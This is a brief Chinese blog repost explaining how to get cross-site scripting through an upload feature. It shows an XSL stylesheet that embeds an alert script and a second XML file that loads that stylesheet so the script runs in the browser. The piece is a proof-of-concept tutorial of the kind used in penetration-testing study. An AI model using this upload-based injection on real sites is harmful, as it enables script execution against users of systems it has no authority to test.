上传xml文件进行跨站脚本攻

2023-12-18 22:22:37

文件路径或者URL：xxxxx

<?xml version="1.0" encoding="iso-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html><body>
<script>alert(/xss/);</script>
</body></html>
</xsl:template>
</xsl:stylesheet>

在这里插入图片描述

再上传

<?xml version="1.0" encoding="iso-8859-1"?>
<?xml-stylesheet type="text/xsl" href="xxxxx"?>
<test></test>

在这里插入图片描述
在这里插入图片描述

文章来源:https://blog.csdn.net/weixin_42299610/article/details/135069647
本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。